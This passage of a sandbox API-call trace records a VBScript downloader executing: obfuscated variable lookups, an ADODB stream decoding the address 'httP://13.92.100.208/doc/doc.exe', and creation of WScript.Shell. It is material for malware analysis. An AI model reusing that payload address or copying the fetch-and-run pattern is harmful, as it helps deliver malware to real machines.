wReserved2=0x0, wReserved3=0x0, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b48730*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b1d7e8*, rgsabound=((cElements=0x20, lLbound=0))), varVal2=0x0), varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b48730*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b1d7e8*, rgsabound=((cElements=0x20, lLbound=0))), varVal2=0x0), varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962b320) returned 0x0 [0067.673] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0067.674] ??3@YAXPAX@Z () returned 0x840001 [0067.674] free (_Block=0x8460768) [0067.674] ??3@YAXPAX@Z () returned 0x4a0001 [0067.674] ??3@YAXPAX@Z () returned 0x740001 [0067.674] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0067.674] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0067.674] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0067.674] GetCurrentThreadId () returned 0xd44 [0067.674] IUnknown:Release (This=0x1197760) returned 0x8 [0067.675] ??2@YAPAXI@Z () returned 0x86a0bc0 [0067.675] malloc (_Size=0x804) returned 0x8790008 [0067.675] ??2@YAPAXI@Z () returned 0x8460768 [0067.675] ??3@YAXPAX@Z () returned 0x1 [0067.675] malloc (_Size=0x204) returned 0x8790818 [0067.675] malloc (_Size=0x40) returned 0x1197880 [0067.675] malloc (_Size=0xe4) returned 0x8460768 [0067.684] ??2@YAPAXI@Z () returned 0x11291c0 [0067.685] free (_Block=0x83d08e0) [0067.685] free (_Block=0x8790008) [0067.685] ??3@YAXPAX@Z () returned 0x740001 [0067.685] free (_Block=0x1197880) [0067.685] free (_Block=0x8790818) [0067.685] free (_Block=0x11c7d90) [0067.685] ??2@YAPAXI@Z () returned 0x86a0bc0 [0067.685] ??2@YAPAXI@Z () returned 0x83fd610 [0067.685] IUnknown:AddRef (This=0x1197760) returned 0x9 [0067.685] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0067.685] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0067.685] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="Position", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=3) returned 0x0 [0067.685] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0067.685] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0067.685] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=3, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x14b95c*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x87e0000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14b958*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x87e0000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14b958*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962b320) returned 0x0 [0067.686] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0067.686] ??3@YAXPAX@Z () returned 0x840001 [0067.686] free (_Block=0x8460768) [0067.686] ??3@YAXPAX@Z () returned 0x4a0001 [0067.686] ??3@YAXPAX@Z () returned 0x740001 [0067.686] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc74 | out: ppvObject=0x14bc74*=0x0) returned 0x80004002 [0067.686] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14bc78*="Type", cNames=0x1, lcid=0x409, rgDispId=0x14bc90 | out: rgDispId=0x14bc90*=4) returned 0x0 [0067.686] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0067.686] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc7c | out: ppvObject=0x14bc7c*=0x0) returned 0x80004002 [0067.686] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x14bc48*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x87e491c)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24, puArgErr=0x14bc68 | out: pDispParams=0x14bc48*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x87e491c)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14bc68*=0x962b320) returned 0x0 [0067.686] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0067.686] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc74 | out: ppvObject=0x14bc74*=0x0) returned 0x80004002 [0067.686] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14bc78*="CharSet", cNames=0x1, lcid=0x409, rgDispId=0x14bc90 | out: rgDispId=0x14bc90*=8) returned 0x0 [0067.686] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0067.687] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc7c | out: ppvObject=0x14bc7c*=0x0) returned 0x80004002 [0067.687] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=8, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x14bc48*(rgvarg=([0]=0x14bb84*(varType=0x8, wReserved1=0x14, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x2b)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24, puArgErr=0x14bc68 | out: pDispParams=0x14bc48*(rgvarg=([0]=0x14bb84*(varType=0x8, wReserved1=0x14, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x2b)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14bc68*=0x962b320) returned 0x0 [0067.687] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0067.687] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0067.687] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0067.687] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0067.687] GetCurrentThreadId () returned 0xd44 [0067.687] IUnknown:Release (This=0x1197760) returned 0x8 [0067.688] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0067.688] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0067.688] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0067.688] GetCurrentThreadId () returned 0xd44 [0067.688] IUnknown:Release (This=0x1197760) returned 0x8 [0067.688] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0067.688] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0067.688] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0067.688] GetCurrentThreadId () returned 0xd44 [0067.688] IUnknown:Release (This=0x1197760) returned 0x8 [0067.689] ??2@YAPAXI@Z () returned 0x86a0bc0 [0067.689] malloc (_Size=0x804) returned 0x8790008 [0067.689] ??2@YAPAXI@Z () returned 0x8460768 [0067.689] ??3@YAXPAX@Z () returned 0x1 [0067.689] malloc (_Size=0x204) returned 0x8790818 [0067.689] malloc (_Size=0x40) returned 0x1197880 [0067.689] malloc (_Size=0x11c) returned 0x8460768 [0067.689] ??2@YAPAXI@Z () returned 0x11291c0 [0067.689] free (_Block=0x83d08e0) [0067.689] free (_Block=0x8790008) [0067.689] ??3@YAXPAX@Z () returned 0x740001 [0067.689] free (_Block=0x1197880) [0067.689] free (_Block=0x8790818) [0067.689] free (_Block=0x11c7d90) [0067.689] ??2@YAPAXI@Z () returned 0x86a0bc0 [0067.689] ??2@YAPAXI@Z () returned 0x83fd610 [0067.690] IUnknown:AddRef (This=0x1197760) returned 0x9 [0067.690] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0067.690] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0067.690] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="ReadText", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=19) returned 0x0 [0067.690] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0067.690] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0067.690] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=19, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x14b95c*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="httP://13.92.100.208/doc/doc.exe", varVal2=0x0), pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962b320) returned 0x0 [0067.691] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0067.691] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0067.691] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b8c4 | out: ppvObject=0x14b8c4*=0x1197760) returned 0x0 [0067.691] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="fffffffffff", grfdex=0x8, pid=0x14b8e0 | out: pid=0x14b8e0*=1358140) returned 0x80020006 [0067.691] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="fffffffffff", grfdex=0x8, pid=0x14b838 | out: pid=0x14b838*=-1) returned 0x80020006 [0067.691] GetCurrentThreadId () returned 0xd44 [0067.691] IUnknown:Release (This=0x1197760) returned 0x9 [0067.691] ??3@YAXPAX@Z () returned 0x840001 [0067.692] free (_Block=0x8460768) [0067.692] ??3@YAXPAX@Z () returned 0x4a0001 [0067.692] ??3@YAXPAX@Z () returned 0x740001 [0067.692] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0067.692] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0067.692] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0067.692] GetCurrentThreadId () returned 0xd44 [0067.692] IUnknown:Release (This=0x1197760) returned 0x8 [0067.692] ??2@YAPAXI@Z () returned 0x86a0bc0 [0067.693] malloc (_Size=0x804) returned 0x8790008 [0067.693] ??2@YAPAXI@Z () returned 0x8460768 [0067.693] ??3@YAXPAX@Z () returned 0x1 [0067.693] malloc (_Size=0x204) returned 0x8790818 [0067.693] malloc (_Size=0x40) returned 0x1197880 [0067.693] malloc (_Size=0x104) returned 0x8460768 [0067.693] ??2@YAPAXI@Z () returned 0x11291c0 [0067.693] free (_Block=0x83d08e0) [0067.693] free (_Block=0x8790008) [0067.693] ??3@YAXPAX@Z () returned 0x740001 [0067.693] free (_Block=0x1197880) [0067.693] free (_Block=0x8790818) [0067.693] free (_Block=0x11c7d90) [0067.693] ??2@YAPAXI@Z () returned 0x86a0bc0 [0067.693] ??2@YAPAXI@Z () returned 0x83fd610 [0067.694] IUnknown:AddRef (This=0x1197760) returned 0x9 [0067.694] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0067.694] _wcsicmp (_String1="BytesToStr", _String2="BytesToStr") returned 0 [0067.694] ??3@YAXPAX@Z () returned 0x840001 [0067.694] free (_Block=0x8460768) [0067.694] ??3@YAXPAX@Z () returned 0x4a0001 [0067.694] ??3@YAXPAX@Z () returned 0x740001 [0067.695] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0067.695] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0067.695] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0067.695] GetCurrentThreadId () returned 0xd44 [0067.695] IUnknown:Release (This=0x1197760) returned 0x8 [0067.695] ??2@YAPAXI@Z () returned 0x86a0bc0 [0067.695] malloc (_Size=0x804) returned 0x8790008 [0067.695] ??2@YAPAXI@Z () returned 0x8460768 [0067.696] ??3@YAXPAX@Z () returned 0x1 [0067.696] malloc (_Size=0x204) returned 0x8790818 [0067.696] malloc (_Size=0x40) returned 0x1197880 [0067.696] malloc (_Size=0xd0) returned 0x8460768 [0067.696] ??2@YAPAXI@Z () returned 0x11291c0 [0067.696] free (_Block=0x83d08e0) [0067.696] free (_Block=0x8790008) [0067.696] ??3@YAXPAX@Z () returned 0x740001 [0067.696] free (_Block=0x1197880) [0067.696] free (_Block=0x8790818) [0067.696] free (_Block=0x11c7d90) [0067.696] ??2@YAPAXI@Z () returned 0x86a0bc0 [0067.696] ??2@YAPAXI@Z () returned 0x83fd610 [0067.696] IUnknown:AddRef (This=0x1197760) returned 0x9 [0067.697] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0067.697] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0067.697] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="Close", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=11) returned 0x0 [0067.697] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0067.697] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0067.697] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=11, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14b95c*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962b320) returned 0x0 [0067.701] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0067.701] ??3@YAXPAX@Z () returned 0x840001 [0067.701] free (_Block=0x8460768) [0067.701] ??3@YAXPAX@Z () returned 0x4a0001 [0067.702] ??3@YAXPAX@Z () returned 0x740001 [0067.702] free (_Block=0x1197838) [0067.702] free (_Block=0x8444028) [0067.702] free (_Block=0x11c22a0) [0067.702] free (_Block=0x1198d90) [0067.702] ??3@YAXPAX@Z () returned 0xc80001 [0067.702] ??3@YAXPAX@Z () returned 0x360001 [0067.703] free (_Block=0x11977f0) [0067.703] free (_Block=0x11c1e90) [0067.703] free (_Block=0x1198748) [0067.703] free (_Block=0x83d71e0) [0067.703] ??3@YAXPAX@Z () returned 0xb60001 [0067.703] ??3@YAXPAX@Z () returned 0x3a0001 [0067.703] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c038 | out: ppvObject=0x14c038*=0x1197760) returned 0x0 [0067.704] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="strlink", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=1360048) returned 0x80020006 [0067.704] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="strlink", grfdex=0x8, pid=0x14bfac | out: pid=0x14bfac*=-1) returned 0x80020006 [0067.704] GetCurrentThreadId () returned 0xd44 [0067.704] IUnknown:Release (This=0x1197760) returned 0x6 [0067.704] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x14c06c | out: lpclsid=0x14c06c*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0067.713] SysStringLen (param_1=0x0) returned 0x0 [0067.713] CoGetClassObject (in: rclsid=0x14c06c*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x14c05c | out: ppv=0x14c05c*=0x1112920) returned 0x0 [0068.823] WshShell:IUnknown:QueryInterface (in: This=0x1112920, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x14c058 | out: ppvObject=0x14c058*=0x0) returned 0x80004002 [0068.823] WshShell:IClassFactory:CreateInstance (in: This=0x1112920, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14c060 | out: ppvObject=0x14c060*=0x86a0bd4) returned 0x0 [0068.823] WshShell:IUnknown:Release (This=0x1112920) returned 0x0 [0068.823] WshShell:IUnknown:QueryInterface (in: This=0x86a0bd4, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14c024 | out: ppvObject=0x14c024*=0x0) returned 0x80004002 [0068.823] WshShell:IUnknown:QueryInterface (in: This=0x86a0bd4, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14c014 | out: ppvObject=0x14c014*=0x86a0bc0) returned 0x0 [0068.824] WshShell:IUnknown:AddRef (This=0x86a0bc0) returned 0x3 [0068.824] WshShell:IUnknown:Release (This=0x86a0bc0) returned 0x2 [0068.824] WshShell:IUnknown:Release (This=0x86a0bd4) returned 0x1 [0068.824] WshShell:IUnknown:AddRef (This=0x86a0bc0) returned 0x2 [0068.824] ??3@YAXPAX@Z () returned 0x7f0001 [0068.824] free (_Block=0x1198b50) [0068.824] ??3@YAXPAX@Z () returned 0x200001 [0068.824] ??3@YAXPAX@Z () returned 0x740001 [0068.825] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: 